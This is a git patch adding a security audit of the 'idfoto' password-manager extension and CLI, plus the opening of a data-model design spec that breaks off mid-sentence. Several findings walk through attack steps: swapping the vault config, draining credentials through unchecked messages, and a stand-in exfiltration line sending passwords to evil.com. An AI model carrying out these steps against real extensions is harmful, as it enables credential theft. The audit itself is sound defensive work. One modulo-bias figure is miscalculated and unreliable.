From cc7247e7f6c5cabdaf62871395dc04ed9946c38d Mon Sep 17 00:00:00 2001 From: adlee-was-taken Date: Sun, 19 Apr 2026 01:35:49 -0400 Subject: [PATCH] docs: add security audit + typed-item data model design MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Adds the Phase 1 design spec for the polymorphic typed-item rewrite (Login, SecureNote, Identity, Card, Key, Document, TOTP — with sections, custom fields, attachments, password history, and the security architecture from the audit baked in from day one). Also adds the initial full-codebase security audit that informs both Phase 0 remediation and Phase 1 design. Co-Authored-By: Claude Opus 4.7 (1M context) --- .../2026-04-18-initial-security-audit.md | 372 +++++++ .../2026-04-18-idfoto-typed-items-design.md | 920 ++++++++++++++++++ 2 files changed, 1292 insertions(+) create mode 100644 docs/superpowers/audits/2026-04-18-initial-security-audit.md create mode 100644 docs/superpowers/specs/2026-04-18-idfoto-typed-items-design.md diff --git a/docs/superpowers/audits/2026-04-18-initial-security-audit.md b/docs/superpowers/audits/2026-04-18-initial-security-audit.md new file mode 100644 index 0000000..6374556 --- /dev/null +++ b/docs/superpowers/audits/2026-04-18-initial-security-audit.md @@ -0,0 +1,372 @@ +# idfoto Security Audit Report + +**Date:** 2026-04-18 +**Scope:** Full static review of `crates/idfoto-core/`, `crates/idfoto-cli/`, `crates/idfoto-wasm/`, `extension/src/`, both manifests, both webpack configs, and the design spec at `docs/superpowers/specs/2026-04-11-idfoto-design.md`. +**Methodology:** Static review against the project's documented threat model. + +--- + +## CRITICAL + +### C1. Setup wizard is web-accessible — any website can pre-load attacker-controlled vault config and image into the extension + +**File:** `extension/manifest.json:33-36`, `extension/manifest.firefox.json:38-40`; consumed by `extension/src/setup/setup.ts:540-568` and `extension/src/service-worker/index.ts:314-322`. + +**Issue:** `setup.html` and `setup.js` are listed in `web_accessible_resources` with `matches: [""]`. The setup page calls `chrome.runtime.sendMessage({ type: 'save_setup', config, imageBase64 })` from the *page context* (not from the extension popup), and the service worker accepts that message with no sender check at all (`_sender` is unused at `service-worker/index.ts:117`). Any page on the internet can: + +1. Open or iframe `chrome-extension:///setup.html` (it's web-accessible, so framing/loading is allowed). +2. Run JS inside that page that calls `chrome.runtime.sendMessage(extensionId, { type: 'save_setup', config: { hostType: 'github', hostUrl: 'https://api.github.com', repoPath: 'attacker/vault', apiToken: '...' }, imageBase64: '' })` — the setup page already has the chrome.runtime API available. +3. Even simpler: from setup.html itself, `chrome.runtime.sendMessage` is available without any external-extensions allow-list because setup.html runs in the extension's own origin once loaded. + +The service worker overwrites `vaultConfig` and `imageBase64` in `chrome.storage.local` (`index.ts:315-318`) and resets `gitHost = null` so the new config takes effect on the next unlock. After this, the next time the user types their passphrase into the popup, the unlock flow reads the *attacker's* manifest from the *attacker's* repo using the *attacker's* image_secret + the user's passphrase — successfully unlocking, populating UI with attacker entries (which the attacker can craft to look like the user's familiar GitHub/Netflix entries), and silently writing any new credentials the user enters into the attacker-controlled repo. + +This breaks the second of the four security invariants in the design spec ("Two-factor vault key. … Compromise of either alone is insufficient") because compromising *neither* factor is sufficient — silently swapping the image and remote bypasses the entire scheme. + +**Why it matters:** This is the worst class of bug for a password manager: a drive-by attack that swaps the entire vault binding without any user prompt, with eventual full credential exfiltration on the next save/login. + +**Remediation:** + +1. Remove `setup.html`, `setup.js`, `idfoto_wasm.js`, and `idfoto_wasm_bg.wasm` from `web_accessible_resources` entirely. The setup page is opened with `chrome.tabs.create({ url: chrome.runtime.getURL('setup.html') })` from the popup (`setup-wizard.ts:28`), which works fine without `web_accessible_resources` for own-origin tabs. +2. In the `save_setup` handler, validate the sender: require `sender.id === chrome.runtime.id` AND `sender.url?.startsWith(chrome.runtime.getURL('setup.html'))`. Reject all other senders. +3. If a vault is already configured, require an explicit user confirmation in the popup before overwriting — don't silently swap the binding. +4. Consider hashing the (config, imageBase64) tuple and surfacing a fingerprint to the user so a swap is at least visible. + +--- + +### C2. Service-worker `chrome.runtime.onMessage` handler trusts every message — content scripts and any code running in the extension origin can dump the entire vault + +**File:** `extension/src/service-worker/index.ts:116-441`. + +**Issue:** The handler ignores `_sender` and treats every message identically. The content script runs on `` and is the natural attack surface — but in fact the handler does no isolation between content-script callers and popup callers. Concretely: + +- A content script (one per page, injected on every site) can send `{ type: 'list_entries' }`, `{ type: 'search_entries', query: '' }`, then loop `{ type: 'get_entry', id }` for every id and ship full plaintext credentials off-domain via `fetch()`. The vault is unlocked once, then any page's content script can drain it. +- The content script as written (`fill.ts`, `icon.ts`, `capture.ts`) only reaches for `get_credentials` after the user clicks the injected "id" icon, but **chrome.runtime.sendMessage from the content script is not gated by user gesture**. A malicious page can't directly call into the extension, but if any other extension component ever introduces a vulnerability that lets attacker JS execute in the content-script world (XSS in the prompt UI — see C3 — or a future bug in icon.ts's DOM manipulation), that context can call every privileged message type. +- More immediately: the `get_credentials` handler (`index.ts:289-296`) returns the password to *any* caller, with no check that the requested `id` corresponds to a URL matching the calling tab's origin. Even the intended path from the content-script icon click could be coerced (a page replaces the icon's click handler before the click arrives, then sends `get_credentials` for an arbitrary `id` enumerated via `get_autofill_candidates` for *another* hostname). There is zero origin-binding between "what page asked for autofill" and "which credentials we hand back." + +**Why it matters:** Once the vault is unlocked, the entire vault is reachable by anything that can post a chrome.runtime message — and the content script makes that reachable from any page DOM whose JS can race the content script's listener. This is a textbook vault-exfiltration path. + +**Remediation:** + +1. Split the message router into two surfaces. Popup-only operations (`unlock`, `lock`, `list_entries`, `get_entry`, `add_entry`, `update_entry`, `delete_entry`, `get_totp` for arbitrary id, `save_setup`, `get_setup_state`, `update_settings`, `get_blacklist`, `remove_blacklist`, `generate_password`) must reject if `sender.url` is not `chrome-extension:///popup.html` or the setup page. +2. Content-script-callable operations (`get_autofill_candidates`, `get_credentials`, `check_credential`, `fill_credentials`, `blacklist_site`) must verify (a) `sender.tab?.id` matches the active tab and (b) the requested entry's stored URL hostname equals `new URL(sender.tab.url).hostname` before returning a password. Today there is no such check — `get_credentials` (`index.ts:289-296`) blindly trusts the id. +3. Require user confirmation in the popup before the first autofill on any new origin. + +--- + +### C3. Capture prompt injects attacker-controlled DOM strings via `innerHTML` and is built on layered HTML escaping that is incomplete + +**File:** `extension/src/content/capture.ts:172-191`, `escapeForHtml` at lines 270-274. + +**Issue:** The capture prompt is appended to the *page's* DOM (`document.body.appendChild(container)`) with content like `${escapeForHtml(hostname)}` and `${escapeForHtml(displayUser)}` interpolated into a template literal that is then assigned to `innerHTML`. Two problems: + +a) `escapeForHtml` uses the `div.textContent` round-trip trick. That escapes `&`, `<`, `>`, but **does not escape `"`**. The escaped value is then dropped into an HTML template inside `${escapeForHtml(hostname)}` — between tags, so quotes don't matter. **However** the value is also dropped into the textual sentence template surrounding it. This is currently safe for hostname (because URL hostnames cannot contain `<` or `&`), but `username` is interpolated as `${escapeForHtml(displayUser)}` where `displayUser = `(${username})``. The `username` value comes from `findUsernameValue(pwField)` (`capture.ts:26-67`) which walks the page's `` values — every byte of which is attacker-controlled. A page can stuff an `` and get the prompt to render that image tag. + +The textContent round-trip *does* escape `<`, `>`, and `&`, so injection of raw `` tags is blocked. But: + +b) The DOM the script is constructing lives in the **page's** document, not the extension's. Even if the escape were perfect, the page's existing CSS/JS sees the prompt and can read its DOM (`#idfoto-capture-prompt`, `#idfoto-save-btn`, etc.). Page JS can: + - Wait for the prompt to appear via `MutationObserver`, read the `` text to learn the username being saved. + - Programmatically `.click()` `#idfoto-save-btn` to silently save attacker-substituted credentials to the user's vault. (The `Save` handler reads `username` and `password` from variables captured at `showPrompt` call time, so it'll save *correct* values — but the page can replace the button's click listener via `cloneNode`/`replaceWith` or wrap it.) + - Programmatically `.click()` `#idfoto-never-btn` to suppress capture for the user's *real* sites by getting them blacklisted via a confusable hostname. + +c) The injected button uses `id="idfoto-save-btn"`. If the page has its own element with the same id, document.getElementById on subsequent saves returns whichever the browser returns first — generally the page's. Use a Shadow DOM or unique random ids per-prompt instead. + +**Why it matters:** The capture flow is the easiest path to silent credential exfiltration. A malicious site can craft inputs and DOM such that submitting *any* form on the page causes the user's vault to capture and save attacker-chosen credentials labeled as the user's bank/email, or such that legitimate save prompts get `Never`-clicked and silently blacklisted. + +**Remediation:** + +1. Render the prompt inside a closed Shadow DOM: `const root = container.attachShadow({ mode: 'closed' });` then `root.innerHTML = ...`. Closed shadow DOM is invisible to the page's JS. +2. Replace `escapeForHtml(displayUser)` with `textContent` assignments rather than `innerHTML`. Construct the DOM with `document.createElement` + `.textContent =` for any attacker-derived strings. +3. Treat all values from `findUsernameValue` as fully untrusted; sanity-check they're not control characters or exceptionally long. +4. Do not use stable IDs (`idfoto-save-btn`) on elements injected into a hostile DOM. + +--- + +### C4. Autofill has no origin check — credentials handed to any page that asks + +**File:** `extension/src/service-worker/index.ts:283-296`, `extension/src/content/icon.ts:63-91`. + +**Issue:** `get_autofill_candidates` accepts a `url` field from the message payload, not from `sender.tab.url`. A content script (or, given C2, anything posting a message) supplies the URL. `findByUrl` (`vault.ts:117-137`) matches by hostname equality. Then `get_credentials` returns *any* entry by id with no URL check whatsoever (`index.ts:289-296`). So: + +- A page at `evil.com` sends `{ type: 'get_autofill_candidates', url: 'https://github.com' }` → gets back the GitHub entry id. +- Then sends `{ type: 'get_credentials', id }` → receives the GitHub username + password in plaintext. +- Then ships them off via `fetch('https://evil.com/exfil', { body: ... })`. + +The icon-click flow is presented as the "intended" path, but nothing in the code enforces that the icon must be the trigger. The design spec section "Autofill anti-phishing (origin checks)" is referenced in the audit prompt but is not implemented anywhere. + +**Why it matters:** This is the classic phishing primitive a password manager exists to prevent. idfoto currently has weaker origin discipline than even a manually-typed-in form would have. + +**Remediation:** + +1. In `get_autofill_candidates` and `get_credentials`, ignore any URL passed in the message. Use `sender.tab.url` and require `sender.tab.id === activeTabId`. +2. Before returning a credential, confirm the entry's stored `url`'s hostname matches the sender tab's hostname. Reject otherwise. +3. Only allow autofill in the top-level frame: check `sender.frameId === 0`. +4. Consider requiring user confirmation in the popup the first time a hostname requests autofill (TOFU origin acknowledgement). + +--- + +## HIGH + +### H1. Argon2id password input is the unprefixed concatenation of passphrase || image_secret — collision-engineerable second-preimage path + +**File:** `crates/idfoto-core/src/crypto.rs:225-227`. + +**Issue:** `password = passphrase || image_secret`. Two distinct (passphrase, image_secret) pairs produce the same Argon2id input — e.g. `("abc", [0x44, 0x55, …])` and `("abcD", [0x55, …])` differ only in where the boundary sits but produce identical concatenations and therefore identical master keys. The design spec explicitly calls this out as "the canonical Argon2id API — no custom construction" but it's not canonical at all; concatenating two variable-length values without a length prefix is a textbook construction smell. + +**Why it matters in this threat model:** The image_secret is fixed-length (32 bytes), so an attacker cannot freely craft pairs. But: in any future enhancement where the image_secret length changes (e.g., 64-byte for v2), or if the passphrase is allowed to contain bytes that look like leading bytes of an image_secret, the ambiguity becomes real. More immediately, it's a deviation from cryptographic hygiene that doesn't help the security argument and is trivial to fix. Also relevant: passphrases aren't strictly bounded — UTF-8 normalization differences (e.g., NFC vs NFD on macOS) could combine with image_secret in surprising ways. + +**Remediation:** + +```rust +let mut password = Vec::with_capacity(8 + passphrase.len() + 32); +password.extend_from_slice(&(passphrase.len() as u64).to_be_bytes()); +password.extend_from_slice(passphrase); +password.extend_from_slice(image_secret); +``` + +Or better, use Argon2id's own `additional_data` / `secret` parameter (if exposed by the `argon2` crate's `Params`) to keep them domain-separated. This is a format-breaking change so it must be tied to a version bump in `params.json` / a new `VERSION_BYTE`. + +Cite spec line: the spec at "Key derivation" explicitly says "concatenated, 32-byte secret appended" — this audit recommends amending the spec to use length-prefixing. + +--- + +### H2. Master key never zeroized; `Vec` from `derive_master_key` and intermediate buffers leak into reallocated heap + +**File:** `crates/idfoto-core/src/crypto.rs:205-235`, `crates/idfoto-cli/src/main.rs:204-218` and every command that calls `unlock`. + +**Issue:** The Argon2id output (`output: [u8; 32]`) is returned by value, copied into an owned `Vec` in `idfoto-wasm`'s `derive_master_key` (`lib.rs:62`), then handed to JS as a `Uint8Array` whose backing memory lives in the WASM linear memory. Nothing implements `Drop` to wipe the bytes. The intermediate `password` Vec at `crypto.rs:225-227` (which contains the *passphrase plaintext* alongside the image_secret) is also dropped without zeroizing — its buffer is freed and may be reallocated for unrelated purposes, retaining the passphrase in process memory until overwritten. + +In the CLI, the passphrase string from `rpassword::prompt_password_stderr` (an owned `String`) is also not zeroized. The `master_key: [u8; 32]` returned from `unlock` is just a stack array — better — but it gets passed by reference to `encrypt_entry` etc. which call into XChaCha20Poly1305 internals that may copy the key. + +**Why it matters:** Anything that captures a memory dump (crash dump, swap, hibernation file, attacker with debugger after suspend-to-disk) can recover the passphrase, image_secret, and master key from regions of freed heap. The threat model lists "Stolen device" as in-scope. + +**Remediation:** + +1. Add `zeroize = "1"` and `zeroize_derive` to `idfoto-core`. +2. Wrap `master_key` in `Zeroizing<[u8; 32]>` in both `derive_master_key` return and at all CLI/WASM call sites. +3. Wrap the temporary `password` Vec in `Zeroizing>` so its contents are wiped on drop. +4. In the CLI, zeroize the passphrase string immediately after passing into `derive_master_key`. +5. In the service worker, after a successful unlock, immediately overwrite the JS `passphrase` string the popup sent (best effort — JS strings are immutable, so accept this is partial; primary defense is keeping passphrase short-lived). +6. For the WASM bridge, prefer passing key handles by id and keeping the bytes inside Rust's WASM linear memory in zeroizing structures, never returning them to JS as a `Uint8Array`. This is a larger refactor but is the correct architecture for a password manager. + +--- + +### H3. Passphrase strength gate is purely cosmetic; the only enforced minimum is 8 characters + +**File:** `crates/idfoto-cli/src/main.rs:354-356`, `extension/src/setup/setup.ts:74-85, 363-373`. + +**Issue:** The CLI requires `>= 8` characters — no entropy enforcement. The extension calls `passphraseStrength()` purely for the colored bar; the create-vault step accepts any non-empty passphrase including a single character (`if (!state.passphrase) bail`). This contradicts the spec's "Adversaries → Stolen device + weak passphrase: enforce minimum passphrase strength at vault creation" defense. + +The threat model says the passphrase carries the entire entropy load against an attacker who has stolen the device + reference image. With a single low-entropy passphrase, all the elaborate two-factor design collapses to "Argon2id over a weak password," which a determined adversary can crack. + +**Why it matters:** Spec invariant "Stolen device + weak passphrase. Universal worst case." The mitigation listed in the spec is "Enforce minimum passphrase strength at vault creation" — currently not enforced. + +**Remediation:** + +1. In the extension's setup wizard, refuse to proceed unless `passphraseStrength` returns `'good'` or `'strong'`, OR display an explicit warning and require the user to type a confirmation phrase. +2. In the CLI, integrate `zxcvbn` (Rust crate) and require an estimated guess count >= 2^45 or similar. +3. Document the enforced minimum in the spec. + +--- + +### H4. CLI git_commit shells out without disabling pager / signed commits / hooks; no git config isolation + +**File:** `crates/idfoto-cli/src/main.rs:239-257, 402-405, 736-756`. + +**Issue:** Every CLI mutation runs `git add -A` then `git commit -m `. There are no environmental guards: + +- If the user has a global `commit.gpgsign = true`, `git commit` will block waiting on a passphrase prompt while the master key is held in process memory. Not directly a vuln, but exacerbates H2. +- If a malicious `.git/hooks/pre-commit` script exists in the vault directory (e.g., the user pulled a compromised vault), it will execute every time the user runs any vault mutation. Hooks don't ship in `git clone`, so this is mostly defensive. Mitigate via `git -c core.hooksPath=/dev/null`. +- `git pull --rebase` (`main.rs:737-738`) without `--no-edit` may drop into an editor for conflict markers; nothing concerning, but a long-running editor session keeps the master_key in memory. +- `git add -A` (line 241) will stage anything in the working tree, including a maliciously-named file like `entries/../../etc/passwd` or symlinks the user didn't notice. Not a direct vuln but means the audit log is broader than just vault content. + +**Why it matters:** The shell-out is broad; tightening it is cheap defense in depth. + +**Remediation:** + +```rust +Command::new("git") + .args(["-c", "core.hooksPath=/dev/null", "-c", "commit.gpgsign=false", + "-c", "core.editor=true", "commit", "-m", message]) +``` + +Stage only the specific files the operation touched (`entries/.enc`, `manifest.enc`, `.idfoto/devices.json`) instead of `git add -A`. + +--- + +### H5. WASM `generate_password` uses `Math.random()` — claimed "non-security-critical" is wrong + +**File:** `crates/idfoto-wasm/src/lib.rs:240-256`. + +**Issue:** The doc comment says "Uses `js_sys::Math::random()` for randomness (not cryptographically secure, but sufficient for password character selection)." This is **flatly wrong**. Generated passwords are the user's stored credential for whatever site they're saving — they must be CSPRNG-derived. `Math.random()` is V8's xorshift128+ which is: + +- Predictable from a small number of outputs (well-published research). +- Seeded per-realm; many realms share state across timing-correlated origins. +- An attacker who can observe one generated password (e.g., the user later shares it to a now-compromised site, or the page steals it via C3/C4) can in principle recover the RNG state and predict every other password generated in the same session. + +The ext-bundled `crypto.getRandomValues` is available in service-worker context (it's used at `setup.ts:384`). There is no reason to use `Math.random` here. + +**Remediation:** Replace both `generate_password` and `generate_entry_id` in `idfoto-wasm` to use `getrandom` (already in the dependency list with `features = ["js"]` enabled, line in `Cargo.toml`). Equivalent to: + +```rust +use rand::{rngs::OsRng, RngCore}; +let mut buf = [0u8; 32]; +OsRng.fill_bytes(&mut buf); +``` + +Also remove the false claim "Math.random() is sufficient for non-security-critical" — at minimum for entry IDs. For entry IDs the impact is mild (32 bits of weak randomness → some predictability of filenames in a public repo) but the password case is unambiguously a security bug. + +Also: the modulo-by-charset-length introduces small bias (`CHARSET.len() = 87`, not a power of two). Use rejection sampling. + +--- + +### H6. CLI password generator has modulo bias + +**File:** `crates/idfoto-cli/src/main.rs:308-317`. + +**Issue:** `(rng.next_u32() as usize) % CHARSET.len()` where `CHARSET.len() == 75`. Since `2^32 % 75 = 1` (≈), bias is mild, but still nonzero. For a tool whose entire job is generating high-entropy secrets, use `rand::distributions::Uniform` or rejection sampling. + +**Remediation:** +```rust +use rand::distributions::{Distribution, Uniform}; +let dist = Uniform::from(0..CHARSET.len()); +(0..length).map(|_| CHARSET[dist.sample(&mut rng)] as char).collect() +``` + +--- + +### H7. `rpassword 5.0.1` is from 2020 and the API used (`prompt_password_stderr`) was deprecated and removed in 6.x + +**File:** `crates/idfoto-cli/Cargo.toml` (`rpassword = "5"`), `main.rs:205, 352, 358`. + +**Issue:** `rpassword 5.0.1` predates several documented platform handling fixes (Windows console, terminal-restoration on signal). The current crate is at 7.x. `prompt_password_stderr` was removed; use `prompt_password` and pipe it to stderr separately, or call `rpassword::prompt_password_from_bufread` for testability. Stale dep is a supply-chain hygiene issue and may carry unfixed terminal-restoration bugs that leave the TTY in no-echo mode if the user Ctrl-C's mid-prompt. + +**Remediation:** Bump to `rpassword = "7"` and adapt the call sites. + +--- + +### H8. Service worker keeps `apiToken` in `chrome.storage.local` in plaintext alongside the unencrypted reference image + +**File:** `extension/src/service-worker/index.ts:67-75, 313-318`. + +**Issue:** `vaultConfig.apiToken` (Gitea/GitHub PAT with full Contents read+write) and `imageBase64` (the reference image with the embedded image_secret) live unencrypted in `chrome.storage.local`. Per spec, "the image bytes never leave the device" — true — but anyone with read access to the user's Chrome profile (on disk: `~/.config/google-chrome/Default/Local Extension Settings//`) gets both the PAT (full git push access to the vault repo) and the image (factor #2). Combine that with C1's "swap" attack and the threat model's "Stolen device" adversary loses the image_secret to an offline attacker the moment the disk is read. + +The spec says this is "acceptable" and that the reference image is supposed to live in chrome.storage.local. But the spec does not say the API token also lives there. The PAT is a separate secret with its own threat model — leaking it gives an attacker push access to overwrite the encrypted vault (denial of service or rollback to stale ciphertext). + +**Why it matters:** chrome.storage.local is plain JSON on disk on most platforms. No OS-keystore integration. The spec's "Stolen device" mitigation depends on Argon2id-protected master key — the PAT bypasses that entirely. + +**Remediation:** + +1. Document explicitly in the README/spec that anyone with filesystem access to the browser profile owns both the image_secret and write access to the git repo — and that the user's only remaining defense is the passphrase via Argon2id. +2. Consider scoping the PAT more tightly (Contents-only on a single repo path, no other API surface). The setup wizard's instructions already point at fine-grained PATs for GitHub — emphasize this. +3. Long-term: integrate with browser identity / cookie-based auth instead of long-lived PATs, or push the PAT into an OS keychain via a companion native messaging host (out of scope for V1). + +--- + +## MEDIUM + +### M1. `read_block` panics on out-of-bounds via `read_block_abs(...).unwrap()` + +`crates/idfoto-core/src/imgsecret.rs:252-256`. Future block-selection changes could panic at runtime; in WASM this aborts the whole service worker. Return `Result` and propagate, or `debug_assert!`. + +### M2. `bits_to_bytes` length not validated in `try_extract_with_layout` + +`crates/idfoto-core/src/imgsecret.rs:765-768`. `secret.copy_from_slice(&result_bytes[..32])` panics if `result_bytes.len() < 32`. Add `debug_assert_eq!` and prefer `try_into()`. + +### M3. `extract_with_crop_recovery` has unbounded compute for attacker-controlled JPEG dimensions + +`crates/idfoto-core/src/imgsecret.rs:784-833`. A 32000×32000 attacker-supplied JPEG can wedge the service worker for tens of seconds. Cap `MAX_DIMENSION` (e.g. 10000 px) and peek dimensions before full decode. + +### M4. `decrypt` error path leaks coarse timing about which validation failed first + +`crates/idfoto-core/src/crypto.rs:115-141`. Not exploitable today (only attacker-supplied ciphertexts are the user's own files). If a "share an entry" feature lands, this becomes a side channel. Consider returning `IdfotoError::Decrypt` for all failure modes. + +### M5. `chrome.tabs.sendMessage` in fill_credentials sends to currently-active tab without verifying the tab matches the entry's origin + +`extension/src/service-worker/index.ts:334-346`. If the user switches tabs between opening the popup and pressing `f`, credentials go to the new tab. Capture `(tab.id, tab.url)` when popup opens. + +### M6. CLI clipboard clear is best-effort and racy + +`crates/idfoto-cli/src/main.rs:565-585`. The 30s clear thread holds a *clone* of the plaintext password for 30 seconds and won't clear if user copies anything else and back. Always clear unconditionally; wrap in `Zeroizing`. + +### M7. CLI prints the full password to stdout via `println!` + +`crates/idfoto-cli/src/main.rs:553`. `idfoto get` prints `"Password: "` to stdout — ends up in scrollback, `script` transcripts, tmux capture, pipes. Show `********` by default; require `--show` flag. + +### M8. CLI generates entry IDs with only 32 bits of randomness; 8-char hex collisions are realistic + +`crates/idfoto-core/src/entry.rs:159-163`. Birthday-bound: ~65k entries gives ~50% collision; `manifest.add_entry` silently overwrites. Bump to 16-char hex (64 bits), or check before write. + +### M9. WASM TOTP code has no guard against `result[offset + 3]` index when HMAC output is exactly 20 bytes + +`crates/idfoto-wasm/src/lib.rs:227-232`. Safe today (HMAC-SHA1 is always 20 bytes, max offset is 15). Add `debug_assert_eq!(result.len(), 20)` for future-proofing. + +### M10. `setup-wizard.ts` opens a new tab, but `window.close()` is no-op if popup is not in popup context + +`extension/src/popup/components/setup-wizard.ts:27-30`. Minor. + +### M11. CLI `now_iso8601` returns Unix seconds but the field is named `iso8601` and the spec promises ISO 8601 formatting + +`crates/idfoto-cli/src/main.rs:263-268`. Function name lies; consumers may parse timestamps and silently mishandle a numeric value. Either rename or use chrono/jiff. + +### M12. `arboard 3` carries platform-dependent behavior; password may persist after `set_text("")` on Linux X11 + +`crates/idfoto-cli/src/main.rs:572-579`. Document Linux limitations. + +--- + +## LOW / INFORMATIONAL + +- **L1.** Dead-code-allowed fields in `EmbedRegion` (`crates/idfoto-core/src/imgsecret.rs:163, 166`). +- **L2.** `IdfotoError::Format` exposes the offending version byte in user-facing error string. Minor info disclosure. +- **L3.** Capture flow's `check_credential` decrypts every candidate entry on every form submit (`index.ts:421-423`). Cache password hash, not password. +- **L4.** `popup.ts:16-20` `setState` triggers full re-render every state change — in-flight async responses can race and double-fire. +- **L5.** Chrome MV3 manifest CSP includes `'wasm-unsafe-eval'` — required but document why. +- **L6.** `git-host.ts:27` uses `String.fromCharCode(bytes[i])` for base64 — vulnerable to memory pressure with large reference images. Use chunked or `FileReader`. +- **L7.** `Cargo.toml` allows wide major-version ranges. No `cargo audit` / `cargo deny` config in repo. +- **L8.** CLI `vault_dir()` silently returns `current_dir()` — `idfoto add` in `/home` will start writing files there. Detect missing `.idfoto/` and bail. +- **L9.** `devices.json` initial write differs between CLI (`"[]"`) and extension (`'{"devices":[]}'`). Schema mismatch. +- **L10.** `totpSecretCache` (`Map<string, string>` of plaintext base32 secrets) has no zeroization — note that JS strings can't be zeroized. +- **L11.** `escapeHtml` at `popup.ts:16-20` doesn't escape `'` (single quote). Codebase uses double quotes for attributes, so currently safe but fragile. +- **L12.** Service worker unlock path doesn't validate salt/params length before passing to WASM. Add explicit length checks at JS boundary. + +--- + +## CONFIRMED-SAFE + +These primitives and parameters are correctly used and do **not** need further worry: + +1. **XChaCha20-Poly1305** via `chacha20poly1305 = "0.10.1"` (RustCrypto). Correct AEAD usage; 24-byte nonce generated fresh from `OsRng` per encryption (`crypto.rs:79-100`). +2. **Argon2id** via `argon2 = "0.5.3"`. Correct algorithm/version (`Algorithm::Argon2id, Version::V0x13`), output length 32. Defaults of m=64MiB, t=3, p=4 within OWASP 2024 recommendations (`crypto.rs:211-235`). +3. **OsRng** used for: master_key salt (`main.rs:368-369`), image_secret in CLI (`main.rs:339-340`), nonces (`crypto.rs:85-87`), ed25519 device keys (`main.rs:794`). +4. **`crypto.getRandomValues`** in setup wizard for image_secret + salt (`setup.ts:383-393`). +5. **ed25519-dalek 2.2.0** with `rand_core` — modern strict-verification version. +6. **TOTP / RFC 6238** in WASM is correct; unit tests exercise published RFC test vectors (`wasm/lib.rs:280-301`). +7. **AEAD failure → opaque `IdfotoError::Decrypt`** with generic message ("wrong key or corrupted data"). Avoids leaking which factor is wrong (`error.rs:33`, `crypto.rs:138`). +8. **Version byte (0x01)** at start of every ciphertext blob with rejection of unknown versions. +9. **Two-factor independence** verified by `tests/integration.rs:120-153`. +10. **DCT round-trip correctness** verified to 1e-6 tolerance. +11. **`escapeHtml` via textContent round-trip** correctly defangs `<`, `>`, `&` for content insertion (caveat L11). +12. **Manifest schema migration** for the new `group` field handles old records cleanly via `serde(skip_serializing_if = "Option::is_none")`. +13. **CSP `script-src 'self' 'wasm-unsafe-eval'; object-src 'self'`** is tight: no `unsafe-inline`, no remote scripts. +14. **CLI device key file permissions 0600 on Unix** (`main.rs:809-813`). + +--- + +## WIDER AUDIT GAPS (out of scope for this static review) + +1. **Empirical robustness of imgsecret claims (Q85, 10% crop, etc.).** Tests cover one synthetic JPEG. Real social-media JPEGs go through chroma subsampling at 4:2:0, EXIF orientation flips, ICC profile re-encoding, platform-specific quantization tables. Needs a fuzz battery against actual platform upload-download round trips. +2. **WASM linear-memory inspection.** Bytes copied between Rust and JS via wasm-bindgen are reachable from JS for the lifetime of the process. A DevTools heap snapshot of the SW after unlock would confirm whether master_key bytes are visible from JS. +3. **Side-channel timing of Argon2id.** The `argon2` crate's `hash_password_into` is data-independent. No issue suspected; constant-time-test harness would confirm. +4. **Browser extension fuzzing for malicious page interaction.** Capture/autofill/prompt rendering need exercise against a hostile page with full DOM control. +5. **Cargo Audit / Cargo Deny.** Run `cargo audit` against the lockfile; `image 0.25.10` and transitive image-codec deps have had a steady stream of CVEs. +6. **MV3 service worker idle-suspend behavior.** When SW is suspended, `masterKey` is freed — good. But verify Chrome doesn't serialize SW storage of `masterKey` for resume. +7. **Git transport security.** Whether the user's git config validates SSH host keys, uses HTTPS with cert pinning, etc., is outside static review. +8. **Recovery flow.** Not yet implemented; needs its own audit when it lands. + +--- + +## Summary + +idfoto's *core cryptography* is solid: correct AEAD, correct KDF parameters, real two-factor key derivation. The bugs are concentrated in the *extension boundary* and the *plumbing around the crypto*: the setup wizard is web-accessible without sender checks (C1), the message router trusts every caller (C2), capture and autofill have no origin discipline (C3, C4), the WASM password generator is non-cryptographic (H5), and master-key/passphrase memory hygiene is absent (H2). + +**C1–C4 together are exploitable end-to-end and should be treated as release blockers.** H1–H8 should land before any tagged 1.0; M-class items can be batched into hardening PRs. diff --git a/docs/superpowers/specs/2026-04-18-idfoto-typed-items-design.md b/docs/superpowers/specs/2026-04-18-idfoto-typed-items-design.md new file mode 100644 index 0000000..009b7d6 --- /dev/null +++ b/docs/superpowers/specs/2026-04-18-idfoto-typed-items-design.md @@ -0,0 +1,920 @@ +# idfoto — Typed Item Data Model Design + +Foundational data-model rewrite for idfoto. Replaces the single `Entry` type with a polymorphic typed-item system supporting Login, SecureNote, Identity, Card, Key, Document, and TOTP — with sections, custom fields, attachments, password history, soft-delete, and the security architecture needed to support 1Password-style daily-driver UX. + +This is **Phase 1** of the broader 1Password-parity roadmap. Phase 0 (audit remediation) is the precursor implementation pass; Phase 2+ (admin portal, importers, Watchtower checks, etc.) build on top of this model. + +## Scope + +In: + +- New typed-item Rust data model in `idfoto-core` (replaces `Entry`) +- New on-disk repo layout (items + attachments split, settings file, format version 2) +- Cryptographic envelope updates (length-prefixed Argon2 inputs, Zeroize discipline, opaque session-handle WASM bridge) +- Security architecture for the extension boundary (split message router, origin-checked autofill, closed Shadow DOM rendering, hardened CLI git shell-out) +- WASM API surface for typed items +- Manifest schema supporting browse-without-decrypt +- Vault settings (`settings.enc`) for retention policies, generator defaults, attachment caps, autofill TOFU acks +- BIP39 + random password generators with safe-symbol charset +- Field-level history tracking for sensitive kinds (Password / Concealed / Totp) + +Out (deferred to later phases): + +- Admin portal (Phase 2) +- Bulk import (Phase 2) +- Watchtower-style checks — HIBP, weak/reused detection (Phase 4) +- TOTP-in-list always-visible display (Phase 5) +- SSH agent, mobile, multi-vault, sharing (Phase 6+) +- Field-level merge of conflicting item edits (post-MVP — MVP prompts user to pick a side) +- Backward compatibility with the v1 vault format (clean break — no users today) + +## Roadmap Context + +| Phase | Deliverable | +|---|---| +| **Phase 0** | Security remediation per `docs/superpowers/audits/2026-04-18-initial-security-audit.md` (C1–C4, H1–H8) | +| **Phase 1** | **This spec — typed item data model** | +| Phase 2 | Admin portal scaffold + bulk import + LastPass adapter | +| Phase 3 | 1Password / Chrome / Bitdefender import adapters | +| Phase 4 | Watchtower-style checks (HIBP, weak/reused, 2FA-available) | +| Phase 5 | Daily-driver polish (TOTP-in-list, fuzzy search, autofill polish, quick-fill shortcut) | +| Phase 6+ | SSH agent, mobile (Tauri), multi-vault, sharing | + +Phase 0 lands first to remove the audit's release-blocker bugs from the surfaces this spec touches. Phase 1 then builds on the fixed foundation; the security architecture in this spec is the design counterpart of Phase 